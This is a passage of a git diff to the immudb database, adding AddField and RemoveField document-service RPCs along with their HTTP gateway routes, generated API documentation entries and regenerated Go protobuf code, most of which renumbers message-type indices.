AddFieldResponse {} + +message RemoveFieldRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collectionName", + "fieldName" + ] + } + }; + + string collectionName = 1; + string fieldName = 2; +} + +message RemoveFieldResponse {} + message CreateIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { @@ -570,6 +602,25 @@ service DocumentService { }; } + rpc AddField(AddFieldRequest) returns (AddFieldResponse) { + option (google.api.http) = { + post: "/collection/{collectionName}/field" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; + } + + rpc RemoveField(RemoveFieldRequest) returns (RemoveFieldResponse) { + option (google.api.http) = { + delete: "/collection/{collectionName}/field/{fieldName}" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; + } + rpc CreateIndex(CreateIndexRequest) returns (CreateIndexResponse) { option (google.api.http) = { post: "/collection/{collectionName}/index" diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index ea7e964605..32cc6eb1a5 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -14,6 +14,8 @@ - [AuthorizationService](#immudb.model.AuthorizationService) - [documents.proto](#documents.proto) + - [AddFieldRequest](#immudb.model.AddFieldRequest) + - [AddFieldResponse](#immudb.model.AddFieldResponse) - [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) - [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) - [Collection](#immudb.model.Collection) @@ -45,6 +47,8 @@ - [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) - [Query](#immudb.model.Query) - [QueryExpression](#immudb.model.QueryExpression) + - [RemoveFieldRequest](#immudb.model.RemoveFieldRequest) + - [RemoveFieldResponse](#immudb.model.RemoveFieldResponse) - [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) - [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) - [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) @@ -171,6 +175,32 @@ + + +### AddFieldRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collectionName | [string](#string) | | | +| field | [Field](#immudb.model.Field) | | | + + + + + + + + +### AddFieldResponse + + + + + + + ### AuditDocumentRequest @@ -640,6 +670,32 @@ + + +### RemoveFieldRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collectionName | [string](#string) | | | +| fieldName | [string](#string) | | | + + + + + + + + +### RemoveFieldResponse + + + + + + + ### ReplaceDocumentsRequest @@ -783,6 +839,8 @@ | GetCollection | [GetCollectionRequest](#immudb.model.GetCollectionRequest) | [GetCollectionResponse](#immudb.model.GetCollectionResponse) | | | UpdateCollection | [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) | [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) | | | DeleteCollection | [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) | [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) | | +| AddField | [AddFieldRequest](#immudb.model.AddFieldRequest) | [AddFieldResponse](#immudb.model.AddFieldResponse) | | +| RemoveField | [RemoveFieldRequest](#immudb.model.RemoveFieldRequest) | [RemoveFieldResponse](#immudb.model.RemoveFieldResponse) | | | CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) | | | DeleteIndex | [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) | [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) | | | InsertDocuments | [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) | [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index e562bab332..7e6f558854 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -805,6 +805,192 @@ func (*UpdateCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{12} } +type AddFieldRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + Field *Field `protobuf:"bytes,2,opt,name=field,proto3" json:"field,omitempty"` +} + +func (x *AddFieldRequest) Reset() { + *x = AddFieldRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[13] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *AddFieldRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*AddFieldRequest) ProtoMessage() {} + +func (x *AddFieldRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[13] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use AddFieldRequest.ProtoReflect.Descriptor instead. +func (*AddFieldRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{13} +} + +func (x *AddFieldRequest) GetCollectionName() string { + if x != nil { + return x.CollectionName + } + return "" +} + +func (x *AddFieldRequest) GetField() *Field { + if x != nil { + return x.Field + } + return nil +} + +type AddFieldResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *AddFieldResponse) Reset() { + *x = AddFieldResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[14] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *AddFieldResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*AddFieldResponse) ProtoMessage() {} + +func (x *AddFieldResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[14] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use AddFieldResponse.ProtoReflect.Descriptor instead. +func (*AddFieldResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{14} +} + +type RemoveFieldRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + FieldName string `protobuf:"bytes,2,opt,name=fieldName,proto3" json:"fieldName,omitempty"` +} + +func (x *RemoveFieldRequest) Reset() { + *x = RemoveFieldRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[15] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *RemoveFieldRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RemoveFieldRequest) ProtoMessage() {} + +func (x *RemoveFieldRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[15] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RemoveFieldRequest.ProtoReflect.Descriptor instead. +func (*RemoveFieldRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{15} +} + +func (x *RemoveFieldRequest) GetCollectionName() string { + if x != nil { + return x.CollectionName + } + return "" +} + +func (x *RemoveFieldRequest) GetFieldName() string { + if x != nil { + return x.FieldName + } + return "" +} + +type RemoveFieldResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *RemoveFieldResponse) Reset() { + *x = RemoveFieldResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[16] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *RemoveFieldResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RemoveFieldResponse) ProtoMessage() {} + +func (x *RemoveFieldResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[16] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RemoveFieldResponse.ProtoReflect.Descriptor instead. +func (*RemoveFieldResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{16} +} + type CreateIndexRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -818,7 +1004,7 @@ type CreateIndexRequest struct { func (x *CreateIndexRequest) Reset() { *x = CreateIndexRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[13] + mi := &file_documents_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -831,7 +1017,7 @@ func (x *CreateIndexRequest) String() string { func (*CreateIndexRequest) ProtoMessage() {} func (x *CreateIndexRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[13] + mi := &file_documents_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -844,7 +1030,7 @@ func (x *CreateIndexRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateIndexRequest.ProtoReflect.Descriptor instead. func (*CreateIndexRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{13} + return file_documents_proto_rawDescGZIP(), []int{17} } func (x *CreateIndexRequest) GetCollectionName() string { @@ -877,7 +1063,7 @@ type CreateIndexResponse struct { func (x *CreateIndexResponse) Reset() { *x = CreateIndexResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[14] + mi := &file_documents_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -890,7 +1076,7 @@ func (x *CreateIndexResponse) String() string { func (*CreateIndexResponse) ProtoMessage() {} func (x *CreateIndexResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[14] + mi := &file_documents_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -903,7 +1089,7 @@ func (x *CreateIndexResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateIndexResponse.ProtoReflect.Descriptor instead. func (*CreateIndexResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{14} + return file_documents_proto_rawDescGZIP(), []int{18} } type DeleteIndexRequest struct { @@ -918,7 +1104,7 @@ type DeleteIndexRequest struct { func (x *DeleteIndexRequest) Reset() { *x = DeleteIndexRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[15] + mi := &file_documents_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -931,7 +1117,7 @@ func (x *DeleteIndexRequest) String() string { func (*DeleteIndexRequest) ProtoMessage() {} func (x *DeleteIndexRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[15] + mi := &file_documents_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -944,7 +1130,7 @@ func (x *DeleteIndexRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteIndexRequest.ProtoReflect.Descriptor instead. func (*DeleteIndexRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{15} + return file_documents_proto_rawDescGZIP(), []int{19} } func (x *DeleteIndexRequest) GetCollectionName() string { @@ -970,7 +1156,7 @@ type DeleteIndexResponse struct { func (x *DeleteIndexResponse) Reset() { *x = DeleteIndexResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[16] + mi := &file_documents_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -983,7 +1169,7 @@ func (x *DeleteIndexResponse) String() string { func (*DeleteIndexResponse) ProtoMessage() {} func (x *DeleteIndexResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[16] + mi := &file_documents_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -996,7 +1182,7 @@ func (x *DeleteIndexResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteIndexResponse.ProtoReflect.Descriptor instead. func (*DeleteIndexResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{16} + return file_documents_proto_rawDescGZIP(), []int{20} } type InsertDocumentsRequest struct { @@ -1011,7 +1197,7 @@ type InsertDocumentsRequest struct { func (x *InsertDocumentsRequest) Reset() { *x = InsertDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[17] + mi := &file_documents_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1024,7 +1210,7 @@ func (x *InsertDocumentsRequest) String() string { func (*InsertDocumentsRequest) ProtoMessage() {} func (x *InsertDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[17] + mi := &file_documents_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1037,7 +1223,7 @@ func (x *InsertDocumentsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use InsertDocumentsRequest.ProtoReflect.Descriptor instead. func (*InsertDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{17} + return file_documents_proto_rawDescGZIP(), []int{21} } func (x *InsertDocumentsRequest) GetCollectionName() string { @@ -1066,7 +1252,7 @@ type InsertDocumentsResponse struct { func (x *InsertDocumentsResponse) Reset() { *x = InsertDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[18] + mi := &file_documents_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1079,7 +1265,7 @@ func (x *InsertDocumentsResponse) String() string { func (*InsertDocumentsResponse) ProtoMessage() {} func (x *InsertDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[18] + mi := &file_documents_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1092,7 +1278,7 @@ func (x *InsertDocumentsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use InsertDocumentsResponse.ProtoReflect.Descriptor instead. func (*InsertDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{18} + return file_documents_proto_rawDescGZIP(), []int{22} } func (x *InsertDocumentsResponse) GetTransactionId() uint64 { @@ -1121,7 +1307,7 @@ type ReplaceDocumentsRequest struct { func (x *ReplaceDocumentsRequest) Reset() { *x = ReplaceDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[19] + mi := &file_documents_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1134,7 +1320,7 @@ func (x *ReplaceDocumentsRequest) String() string { func (*ReplaceDocumentsRequest) ProtoMessage() {} func (x *ReplaceDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[19] + mi := &file_documents_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1147,7 +1333,7 @@ func (x *ReplaceDocumentsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplaceDocumentsRequest.ProtoReflect.Descriptor instead. func (*ReplaceDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{19} + return file_documents_proto_rawDescGZIP(), []int{23} } func (x *ReplaceDocumentsRequest) GetQuery() *Query { @@ -1175,7 +1361,7 @@ type ReplaceDocumentsResponse struct { func (x *ReplaceDocumentsResponse) Reset() { *x = ReplaceDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[20] + mi := &file_documents_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1188,7 +1374,7 @@ func (x *ReplaceDocumentsResponse) String() string { func (*ReplaceDocumentsResponse) ProtoMessage() {} func (x *ReplaceDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[20] + mi := &file_documents_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1201,7 +1387,7 @@ func (x *ReplaceDocumentsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplaceDocumentsResponse.ProtoReflect.Descriptor instead. func (*ReplaceDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{20} + return file_documents_proto_rawDescGZIP(), []int{24} } func (x *ReplaceDocumentsResponse) GetRevisions() []*DocumentAtRevision { @@ -1222,7 +1408,7 @@ type DeleteDocumentsRequest struct { func (x *DeleteDocumentsRequest) Reset() { *x = DeleteDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1235,7 +1421,7 @@ func (x *DeleteDocumentsRequest) String() string { func (*DeleteDocumentsRequest) ProtoMessage() {} func (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1248,7 +1434,7 @@ func (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDocumentsRequest.ProtoReflect.Descriptor instead. func (*DeleteDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{21} + return file_documents_proto_rawDescGZIP(), []int{25} } func (x *DeleteDocumentsRequest) GetQuery() *Query { @@ -1267,7 +1453,7 @@ type DeleteDocumentsResponse struct { func (x *DeleteDocumentsResponse) Reset() { *x = DeleteDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1280,7 +1466,7 @@ func (x *DeleteDocumentsResponse) String() string { func (*DeleteDocumentsResponse) ProtoMessage() {} func (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1293,7 +1479,7 @@ func (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDocumentsResponse.ProtoReflect.Descriptor instead. func (*DeleteDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{22} + return file_documents_proto_rawDescGZIP(), []int{26} } type SearchDocumentsRequest struct { @@ -1311,7 +1497,7 @@ type SearchDocumentsRequest struct { func (x *SearchDocumentsRequest) Reset() { *x = SearchDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1324,7 +1510,7 @@ func (x *SearchDocumentsRequest) String() string { func (*SearchDocumentsRequest) ProtoMessage() {} func (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1337,7 +1523,7 @@ func (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SearchDocumentsRequest.ProtoReflect.Descriptor instead. func (*SearchDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{23} + return file_documents_proto_rawDescGZIP(), []int{27} } func (x *SearchDocumentsRequest) GetSearchId() string { @@ -1389,7 +1575,7 @@ type Query struct { func (x *Query) Reset() { *x = Query{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1402,7 +1588,7 @@ func (x *Query) String() string { func (*Query) ProtoMessage() {} func (x *Query) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1415,7 +1601,7 @@ func (x *Query) ProtoReflect() protoreflect.Message { // Deprecated: Use Query.ProtoReflect.Descriptor instead. func (*Query) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{24} + return file_documents_proto_rawDescGZIP(), []int{28} } func (x *Query) GetCollectionName() string { @@ -1457,7 +1643,7 @@ type QueryExpression struct { func (x *QueryExpression) Reset() { *x = QueryExpression{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1470,7 +1656,7 @@ func (x *QueryExpression) String() string { func (*QueryExpression) ProtoMessage() {} func (x *QueryExpression) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1483,7 +1669,7 @@ func (x *QueryExpression) ProtoReflect() protoreflect.Message { // Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. func (*QueryExpression) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{25} + return file_documents_proto_rawDescGZIP(), []int{29} } func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { @@ -1506,7 +1692,7 @@ type FieldComparison struct { func (x *FieldComparison) Reset() { *x = FieldComparison{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1519,7 +1705,7 @@ func (x *FieldComparison) String() string { func (*FieldComparison) ProtoMessage() {} func (x *FieldComparison) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1532,7 +1718,7 @@ func (x *FieldComparison) ProtoReflect() protoreflect.Message { // Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. func (*FieldComparison) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{26} + return file_documents_proto_rawDescGZIP(), []int{30} } func (x *FieldComparison) GetField() string { @@ -1568,7 +1754,7 @@ type OrderByClause struct { func (x *OrderByClause) Reset() { *x = OrderByClause{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1581,7 +1767,7 @@ func (x *OrderByClause) String() string { func (*OrderByClause) ProtoMessage() {} func (x *OrderByClause) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1594,7 +1780,7 @@ func (x *OrderByClause) ProtoReflect() protoreflect.Message { // Deprecated: Use OrderByClause.ProtoReflect.Descriptor instead. func (*OrderByClause) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{27} + return file_documents_proto_rawDescGZIP(), []int{31} } func (x *OrderByClause) GetField() string { @@ -1623,7 +1809,7 @@ type SearchDocumentsResponse struct { func (x *SearchDocumentsResponse) Reset() { *x = SearchDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1636,7 +1822,7 @@ func (x *SearchDocumentsResponse) String() string { func (*SearchDocumentsResponse) ProtoMessage() {} func (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1649,7 +1835,7 @@ func (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use SearchDocumentsResponse.ProtoReflect.Descriptor instead. func (*SearchDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{28} + return file_documents_proto_rawDescGZIP(), []int{32} } func (x *SearchDocumentsResponse) GetSearchId() string { @@ -1681,7 +1867,7 @@ type DocumentAtRevision struct { func (x *DocumentAtRevision) Reset() { *x = DocumentAtRevision{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1694,7 +1880,7 @@ func (x *DocumentAtRevision) String() string { func (*DocumentAtRevision) ProtoMessage() {} func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1707,7 +1893,7 @@ func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. func (*DocumentAtRevision) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{29} + return file_documents_proto_rawDescGZIP(), []int{33} } func (x *DocumentAtRevision) GetTransactionId() uint64 { @@ -1756,7 +1942,7 @@ type DocumentMetadata struct { func (x *DocumentMetadata) Reset() { *x = DocumentMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1769,7 +1955,7 @@ func (x *DocumentMetadata) String() string { func (*DocumentMetadata) ProtoMessage() {} func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1782,7 +1968,7 @@ func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentMetadata.ProtoReflect.Descriptor instead. func (*DocumentMetadata) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{30} + return file_documents_proto_rawDescGZIP(), []int{34} } func (x *DocumentMetadata) GetDeleted() bool { @@ -1803,7 +1989,7 @@ type CountDocumentsRequest struct { func (x *CountDocumentsRequest) Reset() { *x = CountDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 